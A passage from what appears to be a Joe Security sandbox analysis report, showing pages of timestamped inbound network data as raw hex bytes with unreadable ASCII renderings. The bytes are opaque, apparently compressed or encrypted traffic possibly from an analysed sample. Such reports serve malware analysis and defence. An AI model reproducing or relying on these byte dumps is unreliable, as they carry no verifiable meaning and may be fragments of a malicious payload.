86 d1 3e 93 f8 b8 ee 07 aa c9 88 e9 43 43 0a 91 46 de ef 7d e6 24 aa 66 b4 b4 65 00 15 37 55 cf df 23 d0 34 03 c9 fc bf 
bf 12 b9 a9 b9 83 b3 88 a4 7c 60 43 ef 09 37 6c 04 0c f2 d8 46 01 49 c7 80 1b 7b 4a d8 8d 3d c8 b5 bf b5 77 46 fd 3e 24 
a2 7e 53 e2 ce f7 63 60 a7 9f 12 b9 d3 bf 19 0e 9c 12 b9 a1 bf cf 70 60 20 3f dd 81 0d 7d 4a e4 86 fe 1e 87 47 23 91 7b 
05 d7 88 94 b0 6b 44 90 33 73 2e 13 59 02 6e 88 29 61 37 c4 89 b0 89 fd 43 0d bb e3 c7 3d d3 75 3e 2b 97 83 0b f2 38 
34 dc e9 4c 11 49 91 f6 d5 2f 51 37 63 47 de 13 15 33 56 19 87 84 4f 13 f7 c4 69 c2 bd 9a 79 9a b8 61 25 df 12 ce a5 17 
e4 7d ac 0c 19 a4 3c a3 10 d5 da 0b d9 7a e7 6c 67 2c 32 
Data Ascii: _^,hNn+33`U>CCF}$fe7U#4|`C7lFI{J=wF>$~Sc`p` ?}JG#{kD3s.Yn)a7C=u>+84LI/Q7cG3VOiya%}<zlg,2

2022-09-20 10:10:08 UTC 887 IN Data Raw: c3 a6 3a 0f 3f cf 73 e5 5e 0e 14 05 0b db 28 bf f4 76 b4 58 30 2f 1d 4b bb a5 b3 09 b2 bd 8f 6a 68 ef 63 7b a5 
5c af 80 06 0b ec 17 cc 1a fa 05 57 bb 1f e2 6a 7a 88 9e 17 59 35 82 57 ad fa 5c b8 7a 45 bb a8 89 b3 e6 14 5d da 46 9d 
1d 63 de 6d 3b 5a 2c 98 79 9a 00 0a 1d 48 16 9f 35 9e c2 5e 99 bd 2c 5f 67 43 f1 0b ee 24 75 ab 3e df a2 57 db 92 b3 68 
e9 33 c4 1a 73 dc 3a e6 90 0e 4b 86 cd 0d 0b 10 6b ac 74 c7 77 c4 71 ac 36 ae 71 44 2e 08 88 19 25 e4 88 3a b6 2d fa 
5c 5e 0d 51 07 0c bf 6a 8a 86 5f bb 53 4d b3 88 a3 c1 82 74 6f 75 c4 1a 70 6f 8d 35 b1 c8 bd f5 88 97 17 2b 50 bc 9c e7 
a5 4b 63 a6 a3 c2 82 ca 6c 82 81 a8 a3 a5 cf b6 23 d6 80 43 ac 5b 26 1c a9 c6 52 74 a6 23 f6 6a 3e f7 38 22 37 20 c4 6b 
b7 04 a4 1a d7 a6 08 88 8f 64 29 3b 57 20 f6 ea 0a d5 b5 
Data Ascii: :?s^(vX0/Kjhc{\WjzY5W\zE]Fcm;Z,yH5^,_gC$u>Wh3s:Kktwq6qD.%:-\^Qj_SMtoupo5+PKcl#C[&Rt#j>8"7 kd);W 

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 66 of 173



2022-09-20 10:10:08 UTC 895 IN Data Raw: f3 8e 58 a3 5e cf 6a c8 e4 ed 0e a6 1a e0 54 b2 ef fe 5f 9c 4e 3d 39 9d cc ab 33 0f 3f 8e 46 14 60 59 8a 1a 4b 
79 91 2d 82 26 1d 94 1d 79 af b0 21 d3 b3 c2 86 cc 95 9f 65 25 09 22 1d 45 0d 4f bd aa 1a 4c bd 6a 53 35 ef d5 1c f9 2c 
39 bb 26 1b c7 4f 7f be 84 bc 57 db fd 90 a3 c6 96 1f b2 89 55 47 7d 47 51 63 f7 34 53 39 52 c1 d6 99 d3 11 94 0f 4b db 
a9 cf 9d a1 98 ed 23 18 36 bc c6 48 86 8d f1 1e 3b d7 44 47 18 e0 78 3c 4f 43 d4 78 94 a7 61 3c 9e a7 21 6a 3c ca d3 70 
c4 51 e4 e4 09 d4 a2 e0 b6 33 38 8a a6 66 4f e3 b2 23 ef d5 e3 a7 3b d6 d0 e9 6e e0 2e 6c c7 ae 0f 68 85 8e 3d 72 8b e3 
c8 9b 2a ef 77 1a 4c 1d 79 53 a5 22 2b e2 ef ff 79 09 8d 28 b8 b6 ce 40 fe 61 19 96 3d e8 9d 4d 35 f2 c3 8d 7a f3 b7 3b 
62 c1 c5 7b 3e c0 31 ee 3a cc c5 27 07 08 b4 58 90 d1 
Data Ascii: X^jT_N=93?F`YKy-&y!e%"EOLjS5,9&OWUG}GQc4S9RK#6H;DGx<OCxa<!j<pQ38fO#;n.lh=r*wLy
S"+y(@a=M5z;b{>1:'X

2022-09-20 10:10:08 UTC 903 IN Data Raw: 3d dd 21 ef 36 4b 31 b0 f3 37 1f f2 6e 3b 1d df 69 1d 04 0a 1d 9e 9f 93 bf 87 f2 73 9a 78 af 3e 86 d8 14 92 da 
70 b6 2b a9 cd ee 9e bb 86 dd 55 ee 1a 13 2f 3b 43 57 ee 9a 23 b6 0c bb 71 c4 a6 da bd c8 80 9a 37 0a fa bd 67 98 5d 
7b 86 09 06 65 d5 20 83 b2 89 3d 0d d8 40 d4 01 06 7e 7e 71 e6 d0 b2 64 6e 96 57 77 87 96 a5 69 de ca fa 69 0d 51 c7 
b4 d5 47 4d 4d ad 3e 60 cd cc 1a 53 ab cf 9c 97 c9 c2 92 6d f1 1d 9c eb 5e 64 0c b1 c6 5a f3 aa b1 b4 c8 4c bb d8 4f 1d 
5b 7b 1f e7 ba e7 1b 25 ae fb dd 3d 9d 0f 9b 52 3a 1f 13 77 3a 9e 74 65 58 b5 44 00 e5 7a 71 56 d1 b2 04 f2 0d 29 07 f9 
06 0b ae c3 4f 57 4e 56 13 f7 f5 10 0d 51 79 05 c7 56 3c 44 43 54 8e 20 01 29 67 90 80 89 f3 7a ba 8b 41 02 76 bb 7f 79 
27 00 b1 06 3c fb a5 83 9e fd 3b 72 b8 a9 86 1c 17 bb a7 25 
Data Ascii: =!6K17n;isx>p+U/;CW#q7g]{e =@~~qdnWwiiQGMM>`Sm^dZLO[{%=R:w:teXDzqV)OWNVQyV<DCT 
)gzAvy'<;r%

2022-09-20 10:10:08 UTC 911 IN Data Raw: 2f 9e 07 9b e7 31 e1 c8 ab 2c 5e cd f3 98 fc c4 71 6c bd e7 9e c7 44 4d c9 14 76 c4 f5 be 94 6f bd e7 ed 7d b9 
91 00 45 8d 06 53 18 9b 6a f2 11 6e 0d ae c0 1c 79 93 2b 70 6b e5 8a 9b 30 c4 67 d5 da 4e 67 23 20 d6 80 ff ae 6a c8 7f 
f7 88 bb 5f bd 92 9b 6e 6b 63 e7 ee 15 88 bd 9a d7 69 02 41 5b 6c 0a 66 2a d5 90 99 aa f5 db 85 16 28 7a 75 1e e1 35 
40 43 2c 18 97 db 02 50 f4 6a bc af 6f 14 50 d4 18 30 d6 70 41 1e 32 d6 1c b1 5f eb d5 90 b1 e6 88 eb 9a 89 43 ce aa 6d 
c0 59 95 8f 64 c8 59 d5 d8 2c ab 0e 58 40 d4 01 bb 0f bb 3b 64 f7 39 e2 e5 39 00 44 e5 b0 fb 70 91 19 b2 fb b4 01 0e d3 
d8 01 18 e2 6c 1f 30 08 71 f5 19 32 08 1d 71 a5 6f 14 10 95 c3 ef 55 cf 4a 7e af 47 44 ce 62 d6 68 3c 8c b6 01 db 12 d7 
ab 21 db d2 11 2e ef 04 20 2a 37 d6 c3 d4 d1 79 77 67 69 
Data Ascii: /1,^qlDMvo}ESjny+pk0gNg# j_nkciA[lf*(zu5@C,PjoP0pA2_CmYdY,X@;d99Dpl0q2qoUJ~GDbh<!. *7ywgi

2022-09-20 10:10:08 UTC 919 IN Data Raw: fc ca a6 48 9e 62 e2 12 65 b7 23 ea 30 c7 8c 98 ed 8e a8 03 e4 29 fe 0e 3a a2 0e 58 d5 3e 54 63 f0 17 7c 60 
55 73 87 26 a0 c5 01 c2 aa c6 59 f2 d0 aa 66 62 66 33 77 44 e5 3d 69 12 1d 51 39 58 55 f4 d3 92 55 c5 b3 bb e6 64 90 
2b b0 89 fd c9 87 28 8f 5f 13 cd dc c6 47 22 8f df 23 3e 99 c2 c9 51 63 41 66 1a 07 e2 00 dd e3 57 ca 69 6e 33 31 79 e8 
1d 51 f9 95 eb d7 11 6b 5c b9 7e 1d a9 86 1d c3 a5 9c de b8 26 26 07 b6 23 76 17 c6 33 ce 76 79 e3 9a 58 e7 a5 9c de 
b8 26 8e 7a 29 a7 37 ae 89 6b e5 ef 51 68 55 43 20 e2 ce 49 5d 98 57 c6 c4 d1 73 52 1b a2 8e b1 ef df 83 09 67 2c bf ae 
ed 5e bf 73 1c f3 d1 ef 31 93 99 c2 11 95 23 45 8d 94 33 45 8d 89 49 c0 ed 88 ca 91 a2 86 13 ae 30 45 4d b5 3d ff 73 3d 
12 52 ec 98 98 27 48 47 aa 91 2c b4 8e d8 5d 38 28 fb f6 c3 51 
Data Ascii: Hbe#0):X>Tc|`Us&Yfbf3wD=iQ9XUUd+(_G"#>QcAfWin31yQk\~&&#v3vyX&z)7kQhUC I]WsRg,^s1#E3EI0EM
=s=R'HG,]8(Q

2022-09-20 10:10:08 UTC 926 IN Data Raw: 3f 7f f3 36 b5 5e 35 dc 92 49 b9 6e c9 8e 98 ee 7b 8e a8 1c b7 64 52 ae 5b b2 d2 d6 e5 4c 01 44 e5 b8 25 fb 
43 05 b4 6c 17 50 50 e4 ef a1 5b b2 82 68 4b ad a2 8d 49 09 3a 02 2d 72 65 68 ba 3e 2b f0 88 4b 1d ba 3e 2b f0 43 d2 cb 
d9 e9 c0 6f e2 e5 c9 01 d4 58 d0 73 d7 57 3a 1d f8 4d 5c f2 ad 75 14 03 f4 24 75 7c ba 4a 52 67 62 55 78 b6 23 2a 87 03 
ff ef d4 41 07 fe 8e 80 91 7c d5 ba ae e8 8a e7 bb e3 00 95 ef ce 44 33 c4 73 5e 75 3a f0 9b b8 f2 48 06 44 1d d5 b6 e7 3f 
71 1c 95 db f3 d2 e1 c0 2f e5 74 e0 3f 22 fc f4 f9 81 ec f4 d3 37 71 f4 5c 13 3b dd f1 8f 08 af 7b 35 45 af 7b 13 cd ac fe 83 
ca e9 5c 6f ce a9 e5 7a 39 3b 3d e2 4d 4c 6e 43 47 6c 6a 25 b7 21 90 9e 15 dc d8 f9 d6 76 ba b1 77 f3 b8 be f6 3e 9d de 
ea 26 4e 05 4e 39 0a e5 67 4b 53 1f ed 77 c7 5b 
Data Ascii: ?6^5In{dR[LD%ClPP[hKI:-reh>+K>+CoXsW:M\u$u|JRgbUx#*A|D3s^u:HD?q/t?"7q\;{5E{\oz9;=MLnCGlj
%!vw>&NN9gKSw[

2022-09-20 10:10:08 UTC 934 IN Data Raw: 00 0d 16 24 31 af a3 c2 02 78 1b fe f6 12 5a 2c b0 18 c5 6c 6a f2 35 a8 60 87 e1 d3 ad 8f 5e ce 0a 76 98 d8 8b 
02 51 f9 93 24 df 8e a8 1c 1c bf 9c 57 95 1c bf cb c9 77 b2 57 bc e0 59 ce 98 93 4d 2d bd 6a 75 b7 eb 17 34 c4 a6 ae d4 
2e 8e d8 14 fc c2 dd 20 84 0c 23 fc 05 5b cf eb 4c a0 a2 82 8c e1 75 34 58 30 72 21 1b ba 4a 31 71 5d bd d2 55 ca 11 e1 
b9 fc 13 9b a2 e7 b2 89 79 c7 62 48 6f ad 33 53 f0 f7 10 33 85 89 69 1d 74 44 e5 13 94 2e ff 79 09 85 f2 0e 57 60 f6 aa d3 
15 d8 c4 9e c7 be a1 4b 0b 13 a7 08 d1 0d f1 8b 33 7a 7d 5f b3 bd d3 15 d8 c4 aa ac ba 8e 0a 0b ec 53 c4 71 88 99 62 
0d 67 a6 e0 5a 22 66 0a 13 af ad f3 10 33 85 89 5d 19 75 1c 51 c7 c5 4c e1 88 03 44 82 13 4e 86 de b5 32 74 38 0f 6b 1c 
74 1e 36 31 23 8b 1d 51 b9 b3 34 f3 21 ea e0 6e 7e eb 
Data Ascii: $1xZ,lj5`^vQ$WwWYM-ju4. #[Lu4X0r!J1q]UybHo3S3itD.yW`K3z}_SqbgZ"f3]uQLDN2t8kt61#Q4!n~

2022-09-20 10:10:08 UTC 942 IN Data Raw: 17 8f 70 20 d6 80 ab fc 17 15 4c 4e 6a cf 6c cd 09 c7 cc d6 26 c2 cd 4a dd a5 9b 95 89 eb b9 9e ee 5c 9c a2 
ce 75 ff 2b 6b 04 d7 bd 89 97 91 dc 11 7b 05 4a 7b 35 15 94 f6 b6 b7 86 c7 16 57 86 4a 8f 2d e7 93 da 9a a2 64 ae 37 f1 
15 c9 5e a0 c2 82 cd 04 40 81 42 79 4d 1e fa 40 54 5e 14 60 1f 88 ca 2b ce 83 31 19 ec 5e 9d ca c1 2a ff eb 6f 1f 21 2a 
b7 d3 6f 36 d5 1a a7 8f b3 ca ff f5 83 05 93 cf ca 59 e5 bf ff f9 11 62 af 40 05 af 91 07 15 3c 44 c4 e3 fc f1 11 a2 72 10 b4 
20 17 5d 20 2a 77 e7 af 7f 7f 84 a8 03 41 b1 7a 88 11 14 0b 31 2f ef 81 38 7d ea e5 e3 e5 88 ca 77 de ea 3b 0a e5 0d ce 
5f 6c aa d1 f9 cb a8 be f2 56 df 51 34 e5 94 2e 7c 24 a4 74 81 08 f6 bd df 3e 42 6c aa 28 41 56 20 36 85 98 06 fe 1e 24 
81 81 88 5b fd df 3f 42 d4 81 98 06 84 41 39 e2 84 
Data Ascii: p LNjl&J\u+k{J{5WJ-d7^@ByM@T^`+1^*o!*o6Yb@<Dr ] *wAz1/8}w;_lVQ4.|$t>Bl(AV 6$[?BA9

2022-09-20 10:10:08 UTC 950 IN Data Raw: f8 0b 2e 66 ce 3a 22 48 47 b8 64 2c 92 8e 18 21 64 51 78 9d a3 18 c7 ba b2 5a 39 a2 8e cb c5 dc 91 6a 2c f9 
f5 39 a2 0e b8 98 ff 1c 03 5c 74 31 37 31 c3 23 80 38 13 37 b2 5a 71 96 6c 66 b5 3a 22 62 14 f9 ac 36 63 14 cd 71 34 13 
45 3a 8a ee ee da ae 8f f0 66 2a aa 6a 64 d8 a3 ea 1d dc 0c 5e 3c 62 6f d7 47 d8 10 95 c3 f1 5d bd a2 e3 7b b5 f8 2f 45 0f 
38 a2 72 64 83 52 af 98 0d ea 88 3b e3 52 1d b1 29 38 a5 f3 21 6e 3a a5 9b 78 bf 38 9b 4e e9 75 3e 4f 32 0f 3b 1a 2c 18 
f9 7b 00 ad 28 80 b9 2d 7a 65 a8 b0 29 24 96 52 0d 26 96 b2 84 58 6f 2e fa 40 8d 05 23 bf e7 40 54 5e 93 2c d0 11 95 23 
6c 33 7e 73 43 8b ca 61 d2 fb 99 e3 90 49 6f ba 03 66 4c 9f 29 07 cc 23 c2 72 27 e5 b2 dc 4d 77 a7 54 0d ba 53 1e 71 24 
c1 17 90 1e 22 9c 23 35 72 3a 47 d6 f9 5c de ea 8e a8 
Data Ascii: .f:"HGd,!dQxZ9j,9\t171#87Zqlf:"b6cq4E:f*jd^<boG]{/E8rdR;R)8!n:x8Nu>O2;,{(-ze)$R&Xo.@#@T^,#l3~sCaIo
fL)#r'MwTSq$"#5r:G\

2022-09-20 10:10:08 UTC 958 IN Data Raw: 43 ae a7 dd 79 6b d9 2b f1 d6 9a 38 d3 ff aa 8b b7 d6 1e e7 93 d7 fd 40 31 8e d1 32 d9 85 23 d6 00 bb 18 df 
28 f1 d6 1e 71 5c 4e 3a 86 34 72 b0 8b f1 ad 15 3d ed f9 65 9e cb fa d1 c5 f7 6a 1c 4e fd 9a 89 e2 62 3d 22 0e 0d 61 0a 
03 8a 91 3b 15 0a 7b 25 2a 94 f3 03 80 61 83 bf a0 18 36 cc 32 f0 ca 29 dd 91 37 35 3c ba 3f 94 0f 45 f7 9f a7 86 98 ea 
18 e0 50 4c b5 d9 0c 57 de 2e 0d 05 ac 9a f9 f0 da dc 0d 05 ac 9a 78 79 21 0d 05 ac 1a f1 73 49 cb 04 d0 60 41 cf a5 0f 
28 74 34 b8 91 a8 86 dc 48 e0 0d b3 b3 06 c9 fc fb e8 4f f2 01 38 8a 1a 1d 4e 21 6c aa cb 29 64 f4 9a f1 51 8e a2 57 dd 
5d 3c 7e 44 81 5c 3c e0 71 b3 b3 29 12 4a d9 b4 b8 e6 15 50 61 c1 e5 74 0b b4 58 90 4c 53 8e a2 bb 03 64 4f d4 31 48 f6 
64 1f b1 4c c1 01 d4 a8 7c 5c 1e 5b 40 ac 31 2e 8f 2d 20 
Data Ascii: Cyk+8@12#(q\N:4r=ejNb="a;{%*a62)75<?EPLW.xy!sI`A(t4HO8N!l)dQW]<~D\<q)JPatXLSdO1HdL|\[@1.- 

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 966 IN Data Raw: cd fc cd c5 01 61 49 ca 2f 6f aa 2e aa 07 13 2f 6f aa 2e aa 07 13 2f 6f aa 2e aa 87 23 ae 6b 3b d8 45 f5 60 a2 
19 6b d4 5d 19 6b ba d3 30 a8 bb 32 bd 18 0b 58 be 51 40 ae 63 7a 58 41 3c 92 a9 b0 02 23 fa b9 3e 77 40 8b 05 c9 cb 
e9 28 6a b8 47 3c 6b c8 23 1e 19 d6 f3 72 d2 32 22 c5 84 3b bf e5 a3 58 00 47 23 0a 2e f2 78 a0 c5 1a 30 3a c5 62 09 14 
3a 7a cb d4 c4 8e 54 90 6e d3 73 ca 6d 7a fa 7b 90 35 06 e7 ae cf ea ac 21 2b ce bc 5d 4f 1d 2d 16 64 8e 5c 47 a1 dc 3d 
4c 55 43 7b 6a d7 9e 35 b4 a7 9e 9e 2b 5e 35 74 5f 7b 44 9b 3e 71 a1 00 e4 d3 07 15 52 c7 d6 c5 21 1c 4c 35 72 38 98 
aa c0 cc 09 61 d8 5a e9 6d b8 ea b8 c6 01 d4 a2 00 c6 01 d5 90 71 60 fd ff 5c 04 57 ba 08 ae b3 a8 e4 e5 24 90 eb d8 05 
26 a4 58 f4 81 0a 0b 56 da 32 80 56 14 c0 6d 5a 35 e8 36 ed 
Data Ascii: aI/o./o./o.#k;E`k]k02XQ@czXA<#>w@(jG<k#r2";XG#.x0:b:zTnsmz{5!+]O-d\G=LUC{j5+^5t_{D>qR!L5
r8aZmq`\W$&XV2VmZ56

2022-09-20 10:10:08 UTC 973 IN Data Raw: 17 6c 3f 02 79 53 b5 e0 f2 3e 6a 00 2d 16 d8 4d 1c 3c 39 02 79 8d e6 3e 5e 51 a3 d1 c7 cb c4 dc 0e 06 5a 2c 
50 26 01 47 e5 61 81 32 09 04 1a 51 80 ed a0 74 c4 76 d0 ae 09 41 cc 8b 37 2a d0 60 c1 dc d9 2b 12 f3 9a 88 01 fe ed df 
1f a1 c5 82 ca 23 40 a0 c6 02 9d 8a 1c 0d 2a 07 31 6f 36 b5 5e 2a 87 a3 83 9a 0a 47 07 88 b5 5c ca c3 d1 01 62 cf 9f b6 
d1 d1 c1 44 38 21 a8 a9 70 42 80 a8 5c 29 81 a8 bc eb 3a 33 10 95 f7 95 73 b7 91 4d d7 c4 a1 5c 29 81 a8 7c 28 dc 11 
a8 e9 b1 27 9b 6e 20 2a 4f d2 dc 40 d4 01 83 90 9a 0a 83 10 44 73 8d f8 f6 07 0b dc 35 c2 c4 25 92 bd 40 ac b1 95 fd 34 
10 95 6f a5 18 08 14 ca 37 42 17 d8 d4 8e d0 05 13 11 56 c0 a6 76 84 15 40 2c 0c 0d 0d c4 a6 8a dc 93 02 35 16 cc 6b 
8a 92 e9 d6 44 e3 a3 d2 23 d9 11 6f 00 b1 32 e3 54 20 2a f7 f4 
Data Ascii: l?yS>j-M<9y>^QZ,P&Ga2QtvA7*`+#@*1o6^*G\bD8!pB\):3sM\)|('n *O@Ds5%@4o7BVv@,5kD#o2T *

2022-09-20 10:10:08 UTC 981 IN Data Raw: c2 9e fa c7 2f 1f a1 18 47 d9 3d bf 9c b6 1f 8b 09 f7 3a bb 18 9b 12 bb 98 89 36 af d8 54 e5 d6 d9 c4 f4 c5 71 
14 bd aa d8 21 bb 71 d9 11 6b 80 5d ec 0f ea 28 fa 69 9d 12 2c de a8 57 94 60 e6 01 bd af ee 8a 12 cc 44 e4 90 66 af 68 
ac 31 31 ad ce 8e a8 7c a6 9f 8c 23 d6 40 10 8d 9a 62 10 cd 11 57 f2 21 3b 62 53 08 a2 d1 00 19 44 63 62 72 34 02 71 
b6 3b 1f 19 a7 a8 f8 c8 ea db de f4 a0 73 14 3a 1a 58 cc 39 8e 46 16 f3 6a ae 8a d7 63 6f 0c 3e 31 71 57 ad 89 af 88 ca 
8e 08 fb 95 6a d0 7e 65 e2 66 46 4f 47 ec 6e 43 28 c9 57 d6 60 28 89 89 f3 7a 07 1b 23 46 4c 34 d3 7d d6 d8 7c 07 db bc 
36 45 40 ac 31 93 44 0c 88 ef 47 cb 6c b4 81 58 03 a6 fb d8 2d 01 51 c7 75 15 ef 88 dd dd f5 cd b5 c4 50 61 81 6d a3 d4 
14 6d fa 26 ae fb e9 6e 6e cf df 0e 63 3f 6b 74 1a fb cd 
Data Ascii: /G=:6Tq!qk](i,W`Dfh11|#@bW!;bSDcbr4q;s:X9Fjco>1qWj~efFOGnC(W`(z#FL4}|6E@1DGlX-QuPamm&nnc?kt

2022-09-20 10:10:08 UTC 989 IN Data Raw: 60 55 60 2c a2 91 05 fb e3 83 9e 48 4d 21 06 04 97 28 d1 52 41 bc a3 78 46 01 b5 ec 55 83 d0 49 4d 35 09 9d 
82 2c 43 39 a2 a5 82 e5 a8 d9 44 d9 dd 76 55 a0 64 20 8d 9c d6 d1 1a 87 ad a3 83 1c 76 7d 23 ba 55 b0 bc c9 10 89 39 
54 5b 4c c3 49 24 e6 50 6d 99 b9 54 5b 41 d6 73 89 48 cc a1 f3 a2 3d 35 91 98 47 ae 96 7c 66 10 89 39 a2 5f 70 5b 22 
12 f3 a7 72 61 67 16 15 15 c4 3b 8a bb 0f 91 98 87 66 bd ba db f2 3a 18 64 c9 fa 88 c4 bc d5 75 30 13 99 a8 a0 02 89 03 
0d 31 ef 15 eb 9e 48 4d 21 90 c6 cf 6a 4a 81 34 22 81 47 db c7 0f 25 79 62 66 06 c9 a7 7e 66 06 c9 02 28 f5 7e d3 2a 91 
52 2f ac 2f 43 c1 f3 53 f2 88 1d 3c 7b d5 ef 92 6c 13 35 15 c0 f6 5c 35 64 7b fe 92 4f e9 d5 88 c4 03 96 e4 ae 21 4b 72 f8 
72 58 4b 06 5f 0e 2d 06 a4 8f f0 ef 31 14 09 21 f2 39 f7 a3 
Data Ascii: `U`,HM!(RAxFUIM5,C9DvUd v}#U9T[LI$PmT[AsH=5G|f9_p["rag;f:du01HM!jJ4"G%ybf~f(~*R//CS<{l5\
5d{O!KrrXK_-1!9

2022-09-20 10:10:08 UTC 997 IN Data Raw: 64 d2 72 cd ae 92 96 07 09 bf a2 ef bf 7c 09 69 89 ee 65 8f aa 44 e4 11 21 b7 eb f1 13 28 a7 24 22 6b 5b aa 
46 74 67 c1 65 db da 44 23 0b 10 cb e2 8f ef 5f 42 4b 4d 3d bb ae b5 40 62 8e a8 11 39 40 a0 95 05 fd d8 32 80 c4 7c ec 
92 14 01 89 f9 dc 75 b3 5c f2 ae 09 12 81 1b cc 7c 6b 03 58 d7 e7 53 e2 1d a0 64 7e c1 d8 48 cc 2f 19 1b bd 24 42 24 88 
f9 75 eb ab 5d 17 e2 1a e4 bd 24 90 26 f1 42 94 02 37 d5 f4 0d be 97 76 b8 92 a8 a9 ae 4f ed 7d e7 dd 25 3c 03 12 8f 65 
4f 0b a2 26 1e bb f4 51 44 c9 63 55 1c 7a 20 49 0d f6 87 91 a6 c8 1c a8 65 01 cc f1 73 1c 40 64 0e 73 38 37 05 73 b8 8f 
0a b6 0d 04 88 ee 2c 40 56 f6 fc 0c b6 b2 b2 83 8c 2d e3 d7 6f 5f 46 e2 71 97 b2 98 68 a9 60 77 6f fa 81 86 98 63 cb f8 2e 
e6 de 32 5e b2 2c 6b 88 d4 2b a4 95 c8 9b 0c 90 7a 85 
Data Ascii: dr|ieD!($"k[FtgeD#_BKM=@b9@2|u\|kXSd~H/$B$u]$&B7vO}%<eO&QDcUz Ies@ds87s,@V-o_Fqh`woc.2^,
k+z

2022-09-20 10:10:08 UTC 1005 IN Data Raw: 76 fe b4 f3 23 8f 91 20 9f e7 e0 71 eb 09 f0 92 dd 0a 69 22 f1 40 be ed fc a2 80 c8 63 7d 10 f5 34 47 0e 74 67 
c1 5d fe 1f 44 23 0b a0 ae c9 df 63 39 5e 5f 0b 63 21 47 a0 21 6a 59 d0 4b 1b 4e 24 e6 47 0e 1e 22 31 87 2a c5 cc ad 4a 
59 9f 5d 29 00 89 92 c7 05 fd 47 8e 1c 28 79 20 b8 ba 9b ba 7c 8d 8a 5c c4 f6 da 22 4a 1e 17 94 16 6e ca 4a 8b 75 41 05 
91 9f 01 90 98 43 05 a1 71 5c 56 41 bc 7b 7c d9 40 12 89 39 62 59 e4 2d 03 28 99 23 08 b6 6b dc 0a f5 d0 a0 f3 56 28 46 
a0 5c 0c eb 46 f8 82 bc 7e 00 25 f3 7b 96 33 29 91 78 ac 63 ed 86 11 89 7e c1 1b c1 fc dd 94 82 f9 87 6f e6 72 62 29 a2 
ec d5 03 83 8d 3c 3f a0 57 cf a6 1a 94 f7 3f fe fb cb 28 6b 74 9c 9c 62 de 7d 72 2e fa 15 69 12 ed 57 14 8e 9d 65 d9 4f 94 
4d 6d a6 c1 c9 82 ad 34 38 ed bd 0a dc 55 03 e8 56 
Data Ascii: v# qi"@c}4Gtg]D#c9^_c!G!jYKN$G"1*JY])G(y |\"JnJuACq\VA{|@9bY-(#kV(F\F~%{3)xc~orb)<?W?(kt
b}r.iWeOMm48UV

2022-09-20 10:10:08 UTC 1012 IN Data Raw: a3 57 8a fc 15 69 10 8f 03 72 97 8b 52 84 b5 a9 b7 33 90 9a da 77 29 d6 81 54 63 57 a0 4b a2 ec d5 8d 90 60 
aa 71 2b 24 58 90 c7 01 09 34 54 b0 ca 47 71 97 1b d4 7b f6 ac 63 03 b8 2d 24 df f7 29 0b 07 6a 2a 38 ec 5e 03 69 03 b8 
23 3d 97 6e 4b 40 e2 d1 8e 53 0d 48 3c 10 0e d5 35 14 0e 35 c8 e3 8c 02 52 53 e3 b0 62 45 c8 fe 64 fe 5c c7 1b 07 28 6b 
3c 48 e8 c7 30 89 44 39 8e 0e 9f 06 0d b0 db a7 61 f7 71 1d 1f 4e b7 fd 6e ec e5 a3 7e c1 6e db 5a d8 2d 1e 35 6c 5b fb 
92 7b d6 e7 1c 28 07 18 de f6 d5 dd 40 b7 0a 42 1a f5 4d 35 2c 8d 7a 49 c4 ba 17 73 4b a3 f6 78 2a a3 27 d1 ad 82 a7 ce 
28 a0 a5 82 55 2f 96 40 79 67 78 9f c4 78 dd 25 f3 61 4b d9 78 2b 3b a4 24 91 98 f7 a7 cc 61 80 72 80 61 b1 69 e1 00 2c 
36 c5 03 06 b1 3f fe fc 65 24 1e 71 9d a8 1a 4b 92 89 3d 
Data Ascii: WirR3w)TcWK`q+$X4TGq{c-$)j*8^i#=nK@SH<55RSbEd\(k<H0D9aqNn~nZ-5l[{(@BM5,zIsKx*'(U/@ygxx%a
Kx+;$arai,6?e$qK=

2022-09-20 10:10:08 UTC 1020 IN Data Raw: 37 89 26 3b 83 ec 79 1c 4d fb 6e cf 20 7b 6a aa 4b 02 d9 37 74 77 66 de b5 21 23 a3 af cf 0f 64 f4 15 73 78 86 
a5 d4 00 48 cc f1 1e 34 0f bf 07 71 44 ed ea 95 c5 3b 61 44 70 75 5d 3f 80 d4 2b 18 15 ba a9 34 2a 0c 12 2f 48 fd b4 db 
2f c8 be f7 71 99 00 62 af c2 00 76 b8 57 40 4d 05 7d 7a 17 05 1a 59 00 db 41 d7 48 db c1 20 69 6e fc d7 97 50 4e c9 fb 
16 68 d3 ab 1d 28 99 df 50 09 a9 a9 bb eb 51 3d e8 88 80 f8 3e 89 92 39 9d 04 f2 96 31 1e 3f 1a 5e 32 06 a8 1a cf e5 01 
d2 e4 df 35 1e bd 84 c3 55 ae 6e c8 40 2e 78 ea 8c 1a 32 f9 0f b2 b2 73 11 e5 0f 35 68 d9 ef 1a 43 02 d3 97 dc f7 3c 6a 
ec fc a1 22 7c 6e 69 4c 80 9a 0a da 73 f0 48 e5 3d c8 b1 0f 1e 73 78 e4 73 d7 dd 07 48 dd 0d 25 64 d5 58 12 02 8e 07 ea 
7e d7 d8 92 dc bd a4 03 70 27 52 af 90 76 5e 35 da 47 
Data Ascii: 7&;yMn {jK7twf!#dsxH4qD;aDpu]?+4*/H/qbvW@M}zYAH inPNh(PQ=>91?^25Un@.x2s5hC<j"|niLsH=sxsH
%dX~p'Rv^5G

2022-09-20 10:10:08 UTC 1028 IN Data Raw: 7f ab 86 c2 94 04 39 ec 18 42 74 67 01 6c 9d 73 ae 80 9a 0a 2a 87 1b 91 98 c3 a4 39 8f d4 cb 99 04 82 2c 1b 
16 a0 25 e6 87 49 33 91 98 23 bf 5a ee 3e 40 62 8e fc 6a 79 d3 07 12 f3 5e be 19 44 62 8e fc 6a 34 82 06 f2 24 22 bf da 
9f e2 a1 fc 6a 2d e4 87 f6 ae 21 12 f3 59 c9 79 88 c4 1c 16 d8 b9 7c 80 c4 1c f9 d5 f2 b8 83 66 4b cc 91 5f cd 4d 29 bf 5a 
90 ab 36 4b a0 64 7e 7d ca 41 92 68 a8 60 d9 e6 8e 28 99 5f 4c bc 96 3f d4 a5 e8 30 41 56 40 42 a2 64 7e c1 60 5c cc 2f 
19 8c 07 59 d1 61 88 c4 1c 41 60 34 ed 97 82 c0 bc 24 82 c0 68 25 5e 0a 02 13 e4 3e d6 d5 a5 fc 6a 2f 89 e8 30 66 ae 
